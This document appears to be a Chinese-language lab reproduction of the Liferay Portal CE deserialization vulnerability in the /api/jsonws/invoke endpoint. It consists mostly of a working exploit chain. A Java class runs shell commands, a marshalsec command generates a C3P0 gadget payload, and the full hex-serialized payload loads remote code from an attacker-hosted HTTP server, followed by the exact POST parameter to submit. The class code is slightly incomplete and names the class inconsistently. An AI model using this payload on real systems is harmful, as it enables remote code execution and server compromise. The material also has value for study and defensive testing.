docker运行的话需要2g运行内存,2g服务器直接退出了群聊
Liferay Portal CE
Liferay Portal CE是一款用来快速构建网站的开源系统,其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。
思路
- 漏洞点存在位置为/api/jsonws/invoke
- Liferay Portal 7的json库为Jodd Json
- 如果传入的key为parameterName:fully.qualified.ClassName,那么将会载入后面的包。
- api方法中存在java.lang.Object参数的服务方法
本地写一个恶意的java文件并开启http服务,通过marshalsec工具生成payload,然后在/api/jsonws/invoke抓包POST传payload值
复现
搞一个java类并编译
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/test"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
touch exp.java
javac exp.java
在同目录下运行一个HTTP服务:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
利用marshalsec来生成一个用于Jackson的POC
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
第一个参数 http://127.0.0.1/ 是python启动的http服务器
第二个参数 exp是先前编译的文件的名称除去后缀class的部分 也是java类名
["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000365787074001c687474703a2f2f3139322e3136382e3232302e3133373a383030302f740003466f6f;"}]
在漏洞页面column处填上数据提交后抓包
这里还需按照Liferay Portal的形式,即参数名:类名=值,来修改这个Payload,在defaultData后添加:生成的POC ,放包后在后台查看命令是否执行成功
defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000365787074001c687474703a2f2f3139322e3136382e3232302e3133373a383030302f740003466f6f;"}]
cd /tmp
ls
|